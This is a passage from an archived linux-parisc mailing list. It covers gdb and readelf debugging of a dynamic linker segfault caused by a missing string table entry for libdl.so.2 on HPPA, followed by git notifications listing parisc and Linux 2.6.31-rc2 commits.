  0x403b0d80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403b0da8, 
  0x403b0da0, 0x0, 0x0, 0x0, 0x0, 0x403b0db8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 
  0x0, 0x0, 0x403b0db0, 0x0 <repeats 26 times>}, l_phdr = 0x4037b034, 
  l_entry = 1077435232, l_phnum = 4, l_ldnum = 26, l_searchlist = {
  r_list = 0x0, r_nlist = 0}, l_symbolic_searchlist = {r_list = 0x40000e40, 
  r_nlist = 0}, l_loader = 0x403d8880, l_versions = 0x0, l_nversions = 0, 
  l_nbuckets = 521, l_gnu_bitmask_idxbits = 0, l_gnu_shift = 0, 
  l_gnu_bitmask = 0x0, {l_gnu_buckets = 0x4037b8e0, l_chain = 0x4037b8e0}, {
  l_gnu_chain_zero = 0x4037b0bc, l_buckets = 0x4037b0bc}, 
  l_direct_opencount = 0, l_type = lt_library, l_relocated = 0, 
  l_init_called = 0, l_global = 0, l_reserved = 1, l_phdr_allocated = 0, 
  l_soname_added = 0, l_faked = 0, l_need_tls_init = 0, l_used = 0, 
  l_auditing = 0, l_audit_any_plt = 0, l_removed = 0, l_contiguous = 1, 
  l_rpath_dirs = {dirs = 0x0, malloced = 0}, l_reloc_result = 0x0, 
  l_versyms = 0x0, l_origin = 0x40000e60 "/lib", l_map_start = 1077391360, 
  l_map_end = 1077616976, l_text_end = 1077616640, l_scope_mem = {0x403d89dc, 
  0x0, 0x0, 0x0}, l_scope_max = 4, l_scope = 0x40000da8, l_local_scope = {
  0x40000d4c, 0x0}, l_dev = 536937216, l_ino = 641363, l_runpath_dirs = {
  dirs = 0x0, malloced = 0}, l_initfini = 0x40001398, l_reldepsmax = 0, 
  l_reldeps = 0x0, l_feature_1 = 0, l_flags_1 = 0, l_flags = 0, l_idx = 0, 
  l_mach = {fptr_table_len = 0, fptr_table = 0x0}, l_lookup_cache = {
  sym = 0x0, type_class = 0, value = 0x0, ret = 0x0}, l_tls_initimage = 0x0, 
  l_tls_initimage_size = 0, l_tls_blocksize = 0, l_tls_align = 0, 
  l_tls_firstbyte_offset = 0, l_tls_offset = 0, l_tls_modid = 0, 
  l_relro_addr = 0, l_relro_size = 0, l_serial = 2, l_audit = 0x40000e40}

Register $r10 contains the address of the next link map:
(gdb) p (*preloads)->l_next
$10 = (struct link_map *) 0x40000e88

(gdb) p *(*preloads)->l_next
$11 = {l_addr = 1076473856, l_name = 0x40000e78 "/lib/libdl.so.2", 
  l_ld = 0x4029e5fc, l_next = 0x40001118, l_prev = 0x40000bf0, 
  l_real = 0x40000e88, l_ns = 0, l_libname = 0x400010dc, l_info = {0x0, 
  0x4029e5fc, 0x0 <repeats 74 times>}, l_phdr = 0x4029b034, 
  l_entry = 1076477148, l_phnum = 7, l_ldnum = 31, l_searchlist = {
  r_list = 0x0, r_nlist = 0}, l_symbolic_searchlist = {r_list = 0x400010d8, 
  r_nlist = 0}, l_loader = 0x403d8880, l_versions = 0x0, l_nversions = 0, 
  l_nbuckets = 0, l_gnu_bitmask_idxbits = 0, l_gnu_shift = 0, 
  l_gnu_bitmask = 0x0, {l_gnu_buckets = 0x0, l_chain = 0x0}, {
  l_gnu_chain_zero = 0x0, l_buckets = 0x0}, l_direct_opencount = 0, 
  l_type = lt_library, l_relocated = 0, l_init_called = 0, l_global = 0, 
  l_reserved = 1, l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, 
  l_need_tls_init = 0, l_used = 0, l_auditing = 0, l_audit_any_plt = 0, 
  l_removed = 0, l_contiguous = 1, l_rpath_dirs = {dirs = 0x0, malloced = 0}, 
  l_reloc_result = 0x0, l_versyms = 0x0, l_origin = 0x400010f8 "/lib", 
  l_map_start = 1076473856, l_map_end = 1076488476, l_text_end = 1076490240, 
  l_scope_mem = {0x403d89dc, 0x0, 0x0, 0x0}, l_scope_max = 4, 
  l_scope = 0x40001040, l_local_scope = {0x40000fe4, 0x0}, l_dev = 536937216, 
  l_ino = 641559, l_runpath_dirs = {dirs = 0x0, malloced = 0}, 
  l_initfini = 0x0, l_reldepsmax = 0, l_reldeps = 0x0, l_feature_1 = 0, 
  l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = {fptr_table_len = 0, 
  fptr_table = 0x0}, l_lookup_cache = {sym = 0x0, type_class = 0, 
  value = 0x0, ret = 0x0}, l_tls_initimage = 0x0, l_tls_initimage_size = 0, 
  l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, 
  l_tls_offset = 0, l_tls_modid = 0, l_relro_addr = 0, l_relro_size = 0, 
  l_serial = 3, l_audit = 0x400010d8}

(gdb) p &(*preloads)->l_next->l_info
$14 = (Elf32_Dyn *(*)[76]) 0x40000ea8
(gdb) p (*preloads)->l_next->l_info
$15 = {0x0, 0x4029e5fc, 0x0 <repeats 74 times>}
(gdb) p/x 0x40000ea8 + 5 * 4
$17 = 0x40000ebc

So, the segmentation fault was caused by a 0x0 in the l_info field of
the link map for "/lib/libdl.so.2".

elf.h:#define DT_STRTAB	5		/* Address of string table */

This is the code that causes the segv:

          const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

$ readelf -a /lib/libdl.so.2
...
Dynamic section at offset 0x25fc contains 27 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x00000001 (NEEDED)                     Shared library: [ld.so.1]
 0x0000000e (SONAME)                     Library soname: [libdl.so.2]
 0x0000000c (INIT)                       0xc9c
 0x0000000d (FINI)                       0x20bc
 0x00000019 (INIT_ARRAY)                 0x3590
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x00000004 (HASH)                       0x2168
 0x6ffffef5 (GNU_HASH)                   0x134
 0x00000005 (STRTAB)                     0x47c

It would appear there should be a string table.

Carlos, what do you think?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 14:01:54 -0400 (EDT)
Lines: 90
Approved: news@gmane.org
Message-ID: <20090705180155.DE07A5146@hiauly1.hia.nrc.ca>
References: <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246816944 21522 80.91.229.12 (5 Jul 2009 18:02:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 18:02:24 +0000 (UTC)
Cc: deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 20:02:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNW2a-0007KD-0F
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 20:02:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752258AbZGESCJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 14:02:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753315AbZGESCI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 14:02:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3967 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752258AbZGESCI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 14:02:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DE07A5146; Sun,  5 Jul 2009 14:01:55 -0400 (EDT)
In-Reply-To: <20090705171929.5C7205146@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 5, 2009 01:19:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1857 gmane.linux.debian.ports.hppa:5808 gmane.linux.debian.devel.release:31014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1857>

> Register $r10 contains the address of the next link map:
> (gdb) p (*preloads)->l_next
> $10 = (struct link_map *) 0x40000e88
> 
> (gdb) p *(*preloads)->l_next
> $11 = {l_addr = 1076473856, l_name = 0x40000e78 "/lib/libdl.so.2", 
>   l_ld = 0x4029e5fc, l_next = 0x40001118, l_prev = 0x40000bf0, 
>   l_real = 0x40000e88, l_ns = 0, l_libname = 0x400010dc, l_info = {0x0, 
>   0x4029e5fc, 0x0 <repeats 74 times>}, l_phdr = 0x4029b034, 
>   l_entry = 1076477148, l_phnum = 7, l_ldnum = 31, l_searchlist = {
>   r_list = 0x0, r_nlist = 0}, l_symbolic_searchlist = {r_list = 0x400010d8, 
>   r_nlist = 0}, l_loader = 0x403d8880, l_versions = 0x0, l_nversions = 0, 
>   l_nbuckets = 0, l_gnu_bitmask_idxbits = 0, l_gnu_shift = 0, 
>   l_gnu_bitmask = 0x0, {l_gnu_buckets = 0x0, l_chain = 0x0}, {
>   l_gnu_chain_zero = 0x0, l_buckets = 0x0}, l_direct_opencount = 0, 
>   l_type = lt_library, l_relocated = 0, l_init_called = 0, l_global = 0, 
>   l_reserved = 1, l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, 
>   l_need_tls_init = 0, l_used = 0, l_auditing = 0, l_audit_any_plt = 0, 
>   l_removed = 0, l_contiguous = 1, l_rpath_dirs = {dirs = 0x0, malloced = 0}, 
>   l_reloc_result = 0x0, l_versyms = 0x0, l_origin = 0x400010f8 "/lib", 
>   l_map_start = 1076473856, l_map_end = 1076488476, l_text_end = 1076490240, 
>   l_scope_mem = {0x403d89dc, 0x0, 0x0, 0x0}, l_scope_max = 4, 
>   l_scope = 0x40001040, l_local_scope = {0x40000fe4, 0x0}, l_dev = 536937216, 
>   l_ino = 641559, l_runpath_dirs = {dirs = 0x0, malloced = 0}, 
>   l_initfini = 0x0, l_reldepsmax = 0, l_reldeps = 0x0, l_feature_1 = 0, 
>   l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = {fptr_table_len = 0, 
>   fptr_table = 0x0}, l_lookup_cache = {sym = 0x0, type_class = 0, 
>   value = 0x0, ret = 0x0}, l_tls_initimage = 0x0, l_tls_initimage_size = 0, 
>   l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, 
>   l_tls_offset = 0, l_tls_modid = 0, l_relro_addr = 0, l_relro_size = 0, 
>   l_serial = 3, l_audit = 0x400010d8}

When I run the command directly under gdb, the info is a different location
and the string table entry is not null:

(gdb) bt
#0  _dl_map_object_deps (map=0x403d8880, preloads=0x40001170, npreloads=12, 
    trace_mode=0, open_mode=0) at dl-deps.c:224
#1  0x403b9bd4 in dl_main (phdr=0x10034, phnum=<value optimized out>, 
    user_entry=<value optimized out>) at rtld.c:1780
#2  0x403cb898 in _dl_sysdep_start (start_argptr=<value optimized out>, 
    dl_main=@0x403d7566: 0x403b8fe4 <dl_main>) at ../elf/dl-sysdep.c:239
#3  0x403b785c in _dl_start_final (arg=0xbff01028, info=0xbff01188)
    at rtld.c:332
#4  0x403b7adc in _dl_start (arg=0xbff01028) at rtld.c:560

(gdb) p *(*preloads)->l_next
$2 = {l_addr = 1076473856, l_name = 0x40000c50 "/lib/libdl.so.2", 
  l_ld = 0x4029e5fc, l_next = 0x40000ef0, l_prev = 0x400009c8, 
  l_real = 0x40000c60, l_ns = 0, l_libname = 0x40000eb4, l_info = {0x0, 
  0x4029e604, 0x4029e66c, 0x4029e664, 0x4029e634, 0x4029e644, 0x4029e64c, 
  0x4029e684, 0x4029e68c, 0x4029e694, 0x4029e654, 0x4029e65c, 0x4029e614, 
  0x4029e61c, 0x4029e60c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4029e674, 0x0, 0x0, 
  0x4029e67c, 0x0, 0x4029e624, 0x0, 0x4029e62c, 0x0, 0x0, 0x0, 0x0, 0x0, 
  0x0, 0x4029e6b4, 0x4029e6ac, 0x4029e6a4, 0x4029e69c, 0x0, 0x0, 0x4029e6c4, 
  0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4029e6bc, 
  0x0 <repeats 25 times>, 0x4029e63c}, l_phdr = 0x4029b034, 
  l_entry = 1076477148, l_phnum = 7, l_ldnum = 31, l_searchlist = {
  r_list = 0x0, r_nlist = 0}, l_symbolic_searchlist = {r_list = 0x40000eb0, 
  r_nlist = 0}, l_loader = 0x403d8880, l_versions = 0x0, l_nversions = 0, 
  l_nbuckets = 22, l_gnu_bitmask_idxbits = 3, l_gnu_shift = 7, 
  l_gnu_bitmask = 0x4029b144, {l_gnu_buckets = 0x4029b154, 
  l_chain = 0x4029b154}, {l_gnu_chain_zero = 0x4029b148, 
  l_buckets = 0x4029b148}, l_direct_opencount = 0, l_type = lt_library, 
  l_relocated = 0, l_init_called = 0, l_global = 0, l_reserved = 1, 
  l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, l_need_tls_init = 0, 
  l_used = 0, l_auditing = 0, l_audit_any_plt = 0, l_removed = 0, 
  l_contiguous = 1, l_rpath_dirs = {dirs = 0x0, malloced = 0}, 
  l_reloc_result = 0x0, l_versyms = 0x0, l_origin = 0x40000ed0 "/lib", 
  l_map_start = 1076473856, l_map_end = 1076488476, l_text_end = 1076490240, 
  l_scope_mem = {0x403d89dc, 0x0, 0x0, 0x0}, l_scope_max = 4, 
  l_scope = 0x40000e18, l_local_scope = {0x40000dbc, 0x0}, l_dev = 536937216, 
  l_ino = 641559, l_runpath_dirs = {dirs = 0x0, malloced = 0}, 
  l_initfini = 0x0, l_reldepsmax = 0, l_reldeps = 0x0, l_feature_1 = 0, 
  l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = {fptr_table_len = 0, 
  fptr_table = 0x0}, l_lookup_cache = {sym = 0x0, type_class = 0, 
  value = 0x0, ret = 0x0}, l_tls_initimage = 0x0, l_tls_initimage_size = 0, 
  l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, 
  l_tls_offset = 0, l_tls_modid = 0, l_relro_addr = 0, l_relro_size = 0, 
  l_serial = 3, l_audit = 0x40000eb0}

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Sun, 5 Jul 2009 19:12:44 GMT
Lines: 41
Approved: news@gmane.org
Message-ID: <200907051912.n65JCiPx011838@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246821180 32387 80.91.229.12 (5 Jul 2009 19:13:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 19:13:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 21:12:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNX8u-0004Mp-Be
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 21:12:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752554AbZGETMr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 15:12:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752674AbZGETMr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 15:12:47 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:44162 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752554AbZGETMq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 15:12:46 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/k7/dLX7cPtAuiqRfbRAm2S9cpZOK4oiE@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n65JCigm011841
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 5 Jul 2009 19:12:44 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n65JCiPx011838
	for linux-parisc@vger.kernel.org; Sun, 5 Jul 2009 19:12:44 GMT
X-Virus-Scanned: ClamAV 0.93.3/9538/Fri Jul  3 14:27:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 05 Jul 2009 19:12:50 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1858>

New commits:
commit cc29c79e2c02e3857c4856d58efc703e8f404d4a
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 15:08:57 2009 -0400

    parisc: stop using task->ptrace for {single,block}step flags
    
    task->ptrace flags belong to generic code, so instead thief some
    TIF_ bits to use. Somewhat risky conversion of code to test TASK_FLAGS
    instead of TASK_PTRACE in assembly, but it looks alright in the end.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 78db65f7fffd1fc875d76e531b3a047ea61cf480
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:36:16 2009 -0400

    parisc: split syscall_trace into two halves
    
    Instead of fiddling with gr[20], restructure code to return whether
    or not to -ENOSYS. (Also do a bit of fiddling to let them take
    pt_regs directly instead of re-computing it.)
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 089a930b17e497d35d84b0ee388112e24a5ffb34
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:39:58 2009 -0400

    parisc: add missing TI_TASK macro in syscall.S
    
    LDREG 0(%r1),%r1 really wants to be accessing thread_info.task,
    instead of hardcoding the 0.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Sun, 5 Jul 2009 20:01:29 GMT
Lines: 2010
Approved: news@gmane.org
Message-ID: <200907052001.n65K1Tuw024136@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246824111 7111 80.91.229.12 (5 Jul 2009 20:01:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 20:01:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 22:01:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNXu7-00058t-8V
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 22:01:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753190AbZGEUBc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 16:01:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753482AbZGEUBc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 16:01:32 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:60096 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753190AbZGEUB2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 16:01:28 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX19FmddL66MkTfkP2Puf24tsdUqRww7KQ6w@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n65K1TNb024139
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 5 Jul 2009 20:01:29 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n65K1Tuw024136
	for linux-parisc@vger.kernel.org; Sun, 5 Jul 2009 20:01:29 GMT
X-Virus-Scanned: ClamAV 0.93.3/9538/Fri Jul  3 14:27:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 05 Jul 2009 20:01:31 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1859>

Rebased ref, commits from common ancestor:
commit 8e4a718ff38d8539938ec3421935904c27e00c39
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 10:58:48 2009 -0700

    Linux 2.6.31-rc2

commit f50bf2b2f5e83b794e0bdb2f3f589f55ef0d52d0
Author: Paul Mundt <lethal@linux-sh.org>
Date:   Fri Jul 3 15:45:56 2009 +0900

    video: sm501fb: Early initialization of mm_lock mutex.
    
    Commit 537a1bf059fa312355696fa6db80726e655e7f17 (fbdev: add mutex for
    fb_mmap locking) introduces a ->mm_lock mutex for protecting smem
    assignments. Unfortunately in the case of sm501fb these happen quite
    early in the initialization code, well before the mutex_init() that takes
    place in register_framebuffer(), leading to:
    
       Badness at kernel/mutex.c:207
    
       Pid : 1, Comm:          swapper
       CPU : 0                 Not tainted  (2.6.31-rc1-00284-g529ba0d-dirty #2273)
    
       PC is at __mutex_lock_slowpath+0x72/0x1bc
       PR is at __mutex_lock_slowpath+0x66/0x1bc
       ...
    
    matroxfb appears to have the same issue and has solved it with an early
    mutex_init(), so we do the same for sm501fb.
    
    Signed-off-by: Paul Mundt <lethal@linux-sh.org>
    Cc: Krzysztof Helt <krzysztof.h1@wp.pl>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

commit de481ba925e880764e38b8756c93c05006892507
Merge: dd0888c264c0d5feb5d86eb69c1fdbcdb42566af 64daa4435a40aa1b7d0ece598ae783b89dda13ee
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 10:35:12 2009 -0700

    Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6
    
    * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6: (27 commits)
      parisc: use generic atomic64 on 32-bit
      parisc: superio: fix build breakage
      parisc: Fix PCI resource allocation on non-PAT SBA machines
      parisc: perf: wire up sys_perf_counter_open
      parisc: add task_pt_regs macro
      parisc: wire sys_perf_counter_open to sys_ni_syscall
      parisc: inventory.c, fix bloated stack frame
      parisc: processor.c, fix bloated stack frame
      parisc: fix compile warning in mm/init.c
      parisc: remove dead code from sys_parisc32.c
      parisc: wire up rt_tgsigqueueinfo
      parisc: ensure broadcast tlb purge runs single threaded
      parisc: fix "delay!" timer handling
      parisc: fix mismatched parenthesis in memcpy.c
      parisc: Fix gcc 4.4 warning in lba_pci.c
      parisc: add parameter to read_cr16()
      parisc: decode_exc.c should include kernel.h
      parisc: remove obsolete hw_interrupt_type
      parisc: fix irq compile bugs in arch/parisc/kernel/irq.c
      parisc: advertise PCI devs after "assign_resources"
      ...
    
    Manually fixed up trivial conflicts in tools/perf/perf.h due to addition
    of SH vs HPPA perf-counter support.

commit dd0888c264c0d5feb5d86eb69c1fdbcdb42566af
Merge: 14c1b7c212de7c7c9231d5a676eb96f28c088338 1c90ea2c7eb3b24a07a2f82164323588fb029bc1
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 10:31:26 2009 -0700

    Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/sameo/mfd-2.6
    
    * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/sameo/mfd-2.6:
      mfd: fix pcap adc locking
      mfd: sm501, fix lock imbalance

commit 14c1b7c212de7c7c9231d5a676eb96f28c088338
Merge: 4806626782b4408e468ef686229556899be345c8 033a666ccb842ab4134fcd0c861d5ba9f5d6bf3a
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 10:11:38 2009 -0700

    Merge branch 'for-2.6.31' of git://linux-nfs.org/~bfields/linux
    
    * 'for-2.6.31' of git://linux-nfs.org/~bfields/linux:
      NFSD: Don't hold unrefcounted creds over call to nfsd_setuser()

commit 4806626782b4408e468ef686229556899be345c8
Merge: f1a745710f001e8c2eec6d525396083e1f4c389a baf922780251d12bc1c24c83df60c4c278abb745
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 09:47:01 2009 -0700

    Merge branch 'upstream' of git://ftp.linux-mips.org/pub/scm/upstream-linus
    
    * 'upstream' of git://ftp.linux-mips.org/pub/scm/upstream-linus:
      MIPS: Fix CONFIG_FLATMEM version of pfn_valid()
      MIPS: Reorganize Cavium OCTEON PCI support.
      Update Yoichi Yuasa's e-mail address
      MIPS: Allow suspend and hibernation again on uniprocessor kernels.
      MIPS: 64-bit: Fix o32 core dump
      MIPS: BC47xx: Fix SSB irq setup
      MIPS: CMP: Update sync-r4k for current kernel
      MIPS: CMP: Move gcmp_probe to before the SMP ops
      MIPS: CMP: activate CMP support
      MIPS: CMP: Extend IPI handling to CPU number
      MIPS: CMP: Extend the GIC IPI interrupts beyond 32
      MIPS: Define __arch_swab64 for all mips r2 cpus
      MIPS: Update VR41xx GPIO driver to use gpiolib
      MIPS: Hookup new syscalls sys_rt_tgsigqueueinfo and sys_perf_counter_open.
      MIPS: Malta: Remove unnecessary function prototypes
      MIPS: MT: Remove unnecessary semicolons
      MIPS: Add support for Texas Instruments AR7 System-on-a-Chip

commit f1a745710f001e8c2eec6d525396083e1f4c389a
Merge: 29f31773e07772e73e3177a4af147244cd080554 7ce1695c40e765e99cd790f55fc68037bc05d080
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sat Jul 4 09:46:13 2009 -0700

    Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6
    
    * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
      sound: do not set DEVNAME for OSS devices
      ALSA: hda - Add sanity check in PCM open callback
      ALSA: hda - Call snd_pcm_lib_hw_rates() again after codec open callback
      ALSA: hda - Avoid invalid formats and rates with shared SPDIF
      ALSA: hda - Improve ASUS eeePC 1000 mixer
      ALSA: hda - Add GPIO1 control at muting with HP laptops
      ALSA: usx2y - reparent sound device
      ALSA: snd_usb_caiaq: reparent sound device
      sound: virtuoso: fix Xonar D1/DX silence after resume
